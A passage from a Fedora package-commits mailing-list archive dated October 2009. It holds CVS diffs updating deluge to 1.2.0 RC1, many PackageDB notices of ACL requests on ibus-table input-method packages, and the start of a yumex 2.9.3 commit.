+%{_bindir}/%{name}-gtk
+%{_bindir}/%{name}-web
 %{_bindir}/%{name}d
 %{_datadir}/applications/fedora-%{name}.desktop
 %{_datadir}/pixmaps/%{name}.*
@@ -146,6 +147,10 @@ fi
 
 
 %changelog
+* Sun Oct 11 2009 Peter Gordon <peter at thecodergeek.com> - 1.2.0-0.1.rc1
+- Update to new upstream release candidate (1.2.0 RC1)
+- Adds Twisted dependencies, and drops the D-Bus dependency.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1.9-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pgordon at fedoraproject.org  Sun Oct 11 07:50:27 2009
From: pgordon at fedoraproject.org (Peter Gordon)
Date: Sun, 11 Oct 2009 07:50:27 +0000 (UTC)
Subject: rpms/deluge/devel .cvsignore,1.60,1.61 sources,1.60,1.61
Message-ID: <20091011075027.6D1B211C029E@cvs1.fedora.phx.redhat.com>

Author: pgordon

Update of /cvs/pkgs/rpms/deluge/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5693

Modified Files:
	.cvsignore sources 
Log Message:
Update to 1.2.0 RC1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/deluge/devel/.cvsignore,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- .cvsignore	18 Jun 2009 06:18:46 -0000	1.60
+++ .cvsignore	11 Oct 2009 07:50:27 -0000	1.61
@@ -1 +1 @@
-deluge-1.1.9.tar.bz2
+deluge-1.2.0_rc1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/deluge/devel/sources,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- sources	18 Jun 2009 06:18:46 -0000	1.60
+++ sources	11 Oct 2009 07:50:27 -0000	1.61
@@ -1 +1 @@
-38b9dbf255ed9620760d546dbb757882  deluge-1.1.9.tar.bz2
+e30279677bccbcec370840af405aff84  deluge-1.2.0_rc1.tar.bz2



From pgordon at fedoraproject.org  Sun Oct 11 07:59:31 2009
From: pgordon at fedoraproject.org (Peter Gordon)
Date: Sun, 11 Oct 2009 07:59:31 +0000 (UTC)
Subject: rpms/deluge/devel deluge.spec,1.96,1.97
Message-ID: <20091011075931.C1FA611C00EC@cvs1.fedora.phx.redhat.com>

Author: pgordon

Update of /cvs/pkgs/rpms/deluge/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7588

Modified Files:
	deluge.spec 
Log Message:
Readd patch comment.


Index: deluge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/deluge/devel/deluge.spec,v
retrieving revision 1.96
retrieving revision 1.97
diff -u -p -r1.96 -r1.97
--- deluge.spec	11 Oct 2009 07:47:35 -0000	1.96
+++ deluge.spec	11 Oct 2009 07:59:31 -0000	1.97
@@ -11,6 +11,7 @@ URL:		http://deluge-torrent.org/        
 
 Source0:	http://download.deluge-torrent.org/source/%{version}/%{name}-%{version}_rc1.tar.bz2
 
+## The scalable icon needs to be installed to the proper place.
 Patch0: 	%{name}-scalable-icon-dir.diff
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)



From pkgdb at fedoraproject.org  Sun Oct 11 08:17:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:17:24 +0000
Subject: [pkgdb] ibus-table-extraphrase: liangsuilong has requested
	watchbugzilla
Message-ID: <20091011081724.CEFC510F875@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchbugzilla acl on ibus-table-extraphrase (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-extraphrase



From pkgdb at fedoraproject.org  Sun Oct 11 08:17:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:17:25 +0000
Subject: [pkgdb] ibus-table-extraphrase: liangsuilong has requested
	watchcommits
Message-ID: <20091011081725.C8D7610F889@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchcommits acl on ibus-table-extraphrase (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-extraphrase



From pkgdb at fedoraproject.org  Sun Oct 11 08:17:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:17:28 +0000
Subject: [pkgdb] ibus-table-extraphrase: liangsuilong has requested commit
Message-ID: <20091011081728.C70E710F875@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the commit acl on ibus-table-extraphrase (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-extraphrase



From pkgdb at fedoraproject.org  Sun Oct 11 08:17:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:17:34 +0000
Subject: [pkgdb] ibus-table-extraphrase: liangsuilong has requested
	approveacls
Message-ID: <20091011081734.BB81B10F88B@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the approveacls acl on ibus-table-extraphrase (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-extraphrase



From pkgdb at fedoraproject.org  Sun Oct 11 08:17:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:17:46 +0000
Subject: [pkgdb] ibus-table-extraphrase: liangsuilong has requested
	watchbugzilla
Message-ID: <20091011081746.85B1910F87E@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchbugzilla acl on ibus-table-extraphrase (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-extraphrase



From pkgdb at fedoraproject.org  Sun Oct 11 08:17:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:17:48 +0000
Subject: [pkgdb] ibus-table-extraphrase: liangsuilong has requested
	watchcommits
Message-ID: <20091011081748.5898C10F88B@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchcommits acl on ibus-table-extraphrase (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-extraphrase



From pkgdb at fedoraproject.org  Sun Oct 11 08:17:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:17:50 +0000
Subject: [pkgdb] ibus-table-extraphrase: liangsuilong has requested commit
Message-ID: <20091011081750.AB3B810F87E@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the commit acl on ibus-table-extraphrase (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-extraphrase



From pkgdb at fedoraproject.org  Sun Oct 11 08:17:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:17:53 +0000
Subject: [pkgdb] ibus-table-extraphrase: liangsuilong has requested
	approveacls
Message-ID: <20091011081753.62C9D10F8AF@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the approveacls acl on ibus-table-extraphrase (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-extraphrase



From pkgdb at fedoraproject.org  Sun Oct 11 08:18:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:18:05 +0000
Subject: [pkgdb] ibus-table-translit: liangsuilong has requested watchcommits
Message-ID: <20091011081805.4A77E10F88B@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchcommits acl on ibus-table-translit (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 08:18:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:18:06 +0000
Subject: [pkgdb] ibus-table-translit: liangsuilong has requested commit
Message-ID: <20091011081806.C8D9910F87F@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the commit acl on ibus-table-translit (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 08:18:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:18:14 +0000
Subject: [pkgdb] ibus-table-translit: liangsuilong has requested
	watchbugzilla
Message-ID: <20091011081814.8FC3710F875@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchbugzilla acl on ibus-table-translit (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 08:18:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:18:16 +0000
Subject: [pkgdb] ibus-table-translit: liangsuilong has requested approveacls
Message-ID: <20091011081817.0BA3010F889@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the approveacls acl on ibus-table-translit (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 08:18:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:18:21 +0000
Subject: [pkgdb] ibus-table-translit: liangsuilong has requested
	watchbugzilla
Message-ID: <20091011081821.4D50A10F882@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchbugzilla acl on ibus-table-translit (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 08:18:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:18:21 +0000
Subject: [pkgdb] ibus-table-translit: liangsuilong has requested watchcommits
Message-ID: <20091011081821.EF90A10F8AB@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchcommits acl on ibus-table-translit (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 08:18:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:18:24 +0000
Subject: [pkgdb] ibus-table-translit: liangsuilong has requested commit
Message-ID: <20091011081824.0C0CC10F87F@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the commit acl on ibus-table-translit (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 08:18:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:18:26 +0000
Subject: [pkgdb] ibus-table-translit: liangsuilong has requested approveacls
Message-ID: <20091011081826.8D95310F882@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the approveacls acl on ibus-table-translit (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 08:18:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:18:35 +0000
Subject: [pkgdb] ibus-table-translit: liangsuilong has requested
	watchbugzilla
Message-ID: <20091011081835.30C3910F889@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchbugzilla acl on ibus-table-translit (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 08:18:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:18:37 +0000
Subject: [pkgdb] ibus-table-translit: liangsuilong has requested watchcommits
Message-ID: <20091011081837.4966110F8A3@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchcommits acl on ibus-table-translit (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 08:18:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:18:39 +0000
Subject: [pkgdb] ibus-table-translit: liangsuilong has requested commit
Message-ID: <20091011081839.1F35310F87F@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the commit acl on ibus-table-translit (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 08:18:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:18:40 +0000
Subject: [pkgdb] ibus-table-translit: liangsuilong has requested approveacls
Message-ID: <20091011081840.9361B10F8A9@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the approveacls acl on ibus-table-translit (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-translit



From pkgdb at fedoraproject.org  Sun Oct 11 08:19:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:19:09 +0000
Subject: [pkgdb] ibus-table-wubi: liangsuilong has requested watchcommits
Message-ID: <20091011081909.DA8D810F875@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchcommits acl on ibus-table-wubi (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 08:19:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:19:10 +0000
Subject: [pkgdb] ibus-table-wubi: liangsuilong has requested watchbugzilla
Message-ID: <20091011081910.0433510F882@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchbugzilla acl on ibus-table-wubi (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 08:19:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:19:11 +0000
Subject: [pkgdb] ibus-table-wubi: liangsuilong has requested commit
Message-ID: <20091011081910.F26E910F8A9@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the commit acl on ibus-table-wubi (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 08:19:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:19:11 +0000
Subject: [pkgdb] ibus-table-wubi: liangsuilong has requested approveacls
Message-ID: <20091011081911.55D0010F8B3@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the approveacls acl on ibus-table-wubi (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 08:19:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:19:15 +0000
Subject: [pkgdb] ibus-table-wubi: liangsuilong has requested watchbugzilla
Message-ID: <20091011081915.5747010F875@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchbugzilla acl on ibus-table-wubi (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 08:19:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:19:17 +0000
Subject: [pkgdb] ibus-table-wubi: liangsuilong has requested watchcommits
Message-ID: <20091011081917.6EF9210F8B8@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchcommits acl on ibus-table-wubi (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 08:19:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:19:17 +0000
Subject: [pkgdb] ibus-table-wubi: liangsuilong has requested commit
Message-ID: <20091011081917.C1B1110F8B7@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the commit acl on ibus-table-wubi (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 08:19:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:19:19 +0000
Subject: [pkgdb] ibus-table-wubi: liangsuilong has requested approveacls
Message-ID: <20091011081919.ECA4510F8BA@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the approveacls acl on ibus-table-wubi (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 08:19:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:19:23 +0000
Subject: [pkgdb] ibus-table-wubi: liangsuilong has requested watchbugzilla
Message-ID: <20091011081922.ED79910F8A4@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchbugzilla acl on ibus-table-wubi (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 08:19:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:19:23 +0000
Subject: [pkgdb] ibus-table-wubi: liangsuilong has requested watchcommits
Message-ID: <20091011081924.E10F410F8C1@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchcommits acl on ibus-table-wubi (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 08:19:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:19:24 +0000
Subject: [pkgdb] ibus-table-wubi: liangsuilong has requested commit
Message-ID: <20091011081925.133B810F8C2@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the commit acl on ibus-table-wubi (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 08:19:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:19:28 +0000
Subject: [pkgdb] ibus-table-wubi: liangsuilong has requested approveacls
Message-ID: <20091011081928.C0C3610F875@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the approveacls acl on ibus-table-wubi (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 08:19:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:19:32 +0000
Subject: [pkgdb] ibus-table-wubi: liangsuilong has requested watchbugzilla
Message-ID: <20091011081932.9AE4110F87F@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchbugzilla acl on ibus-table-wubi (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 08:19:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:19:33 +0000
Subject: [pkgdb] ibus-table-wubi: liangsuilong has requested watchcommits
Message-ID: <20091011081933.1A9B610F8B1@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchcommits acl on ibus-table-wubi (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 08:19:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:19:33 +0000
Subject: [pkgdb] ibus-table-wubi: liangsuilong has requested commit
Message-ID: <20091011081933.DD65210F8B5@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the commit acl on ibus-table-wubi (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 08:19:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:19:34 +0000
Subject: [pkgdb] ibus-table-wubi: liangsuilong has requested approveacls
Message-ID: <20091011081935.0B2A810F8B9@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the approveacls acl on ibus-table-wubi (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-wubi



From pkgdb at fedoraproject.org  Sun Oct 11 08:20:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:20:31 +0000
Subject: [pkgdb] ibus-table-yong: liangsuilong has requested watchbugzilla
Message-ID: <20091011082031.A584C10F882@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchbugzilla acl on ibus-table-yong (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Sun Oct 11 08:20:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:20:31 +0000
Subject: [pkgdb] ibus-table-yong: liangsuilong has requested watchcommits
Message-ID: <20091011082031.B35F510F8A3@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchcommits acl on ibus-table-yong (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Sun Oct 11 08:20:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:20:32 +0000
Subject: [pkgdb] ibus-table-yong: liangsuilong has requested commit
Message-ID: <20091011082032.90F2110F8A9@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the commit acl on ibus-table-yong (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Sun Oct 11 08:20:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:20:35 +0000
Subject: [pkgdb] ibus-table-yong: liangsuilong has requested watchbugzilla
Message-ID: <20091011082035.11B9510F87E@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchbugzilla acl on ibus-table-yong (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Sun Oct 11 08:20:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:20:35 +0000
Subject: [pkgdb] ibus-table-yong: liangsuilong has requested watchcommits
Message-ID: <20091011082035.EF1AE10F882@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchcommits acl on ibus-table-yong (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Sun Oct 11 08:20:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:20:39 +0000
Subject: [pkgdb] ibus-table-yong: liangsuilong has requested watchbugzilla
Message-ID: <20091011082039.354EF10F8A3@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchbugzilla acl on ibus-table-yong (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Sun Oct 11 08:20:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:20:39 +0000
Subject: [pkgdb] ibus-table-yong: liangsuilong has requested watchcommits
Message-ID: <20091011082039.6B37810F8B5@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchcommits acl on ibus-table-yong (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Sun Oct 11 08:20:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:20:41 +0000
Subject: [pkgdb] ibus-table-yong: liangsuilong has requested commit
Message-ID: <20091011082041.5CB2710F8AB@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the commit acl on ibus-table-yong (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Sun Oct 11 08:20:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:20:44 +0000
Subject: [pkgdb] ibus-table-yong: liangsuilong has requested watchcommits
Message-ID: <20091011082044.C9B5010F882@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchcommits acl on ibus-table-yong (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Sun Oct 11 08:20:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:20:45 +0000
Subject: [pkgdb] ibus-table-yong: liangsuilong has requested commit
Message-ID: <20091011082045.B948210F8A8@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the commit acl on ibus-table-yong (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-yong



From pkgdb at fedoraproject.org  Sun Oct 11 08:20:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:20:55 +0000
Subject: [pkgdb] ibus-table-xinhua: liangsuilong has requested watchbugzilla
Message-ID: <20091011082055.49AD310F875@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchbugzilla acl on ibus-table-xinhua (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Sun Oct 11 08:20:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:20:56 +0000
Subject: [pkgdb] ibus-table-xinhua: liangsuilong has requested watchcommits
Message-ID: <20091011082056.2EFF010F882@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchcommits acl on ibus-table-xinhua (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Sun Oct 11 08:20:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:20:56 +0000
Subject: [pkgdb] ibus-table-xinhua: liangsuilong has requested commit
Message-ID: <20091011082056.D548F10F8A3@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the commit acl on ibus-table-xinhua (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Sun Oct 11 08:21:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:21:00 +0000
Subject: [pkgdb] ibus-table-xinhua: liangsuilong has requested watchcommits
Message-ID: <20091011082100.ACFB410F875@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchcommits acl on ibus-table-xinhua (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Sun Oct 11 08:21:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:21:04 +0000
Subject: [pkgdb] ibus-table-xinhua: liangsuilong has requested commit
Message-ID: <20091011082104.2FC4010F87F@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the commit acl on ibus-table-xinhua (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Sun Oct 11 08:21:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:21:06 +0000
Subject: [pkgdb] ibus-table-xinhua: liangsuilong has requested watchbugzilla
Message-ID: <20091011082106.7B8F210F87E@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchbugzilla acl on ibus-table-xinhua (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Sun Oct 11 08:21:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:21:09 +0000
Subject: [pkgdb] ibus-table-xinhua: liangsuilong has requested watchbugzilla
Message-ID: <20091011082109.A13AD10F87F@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchbugzilla acl on ibus-table-xinhua (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Sun Oct 11 08:21:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:21:10 +0000
Subject: [pkgdb] ibus-table-xinhua: liangsuilong has requested watchcommits
Message-ID: <20091011082110.0C8EF10F88B@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the watchcommits acl on ibus-table-xinhua (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From pkgdb at fedoraproject.org  Sun Oct 11 08:21:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 08:21:11 +0000
Subject: [pkgdb] ibus-table-xinhua: liangsuilong has requested commit
Message-ID: <20091011082111.386CB10F8A3@bastion2.fedora.phx.redhat.com>

liangsuilong has requested the commit acl on ibus-table-xinhua (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ibus-table-xinhua



From timlau at fedoraproject.org  Sun Oct 11 08:28:41 2009
From: timlau at fedoraproject.org (Tim Lauridsen)
Date: Sun, 11 Oct 2009 08:28:41 +0000 (UTC)
Subject: rpms/yumex/devel .cvsignore, 1.44, 1.45 sources, 1.63,
	1.64 yumex.spec, 
	1.76, 1.77 fix-python26-syntax-errors.patch, 1.1, NONE
Message-ID: <20091011082841.9D2D911C00EC@cvs1.fedora.phx.redhat.com>

Author: timlau

Update of /cvs/pkgs/rpms/yumex/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17285

Modified Files:
	.cvsignore sources yumex.spec 
Removed Files:
	fix-python26-syntax-errors.patch 
Log Message:
Release 2.9.3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yumex/devel/.cvsignore,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- .cvsignore	30 Sep 2009 13:21:14 -0000	1.44
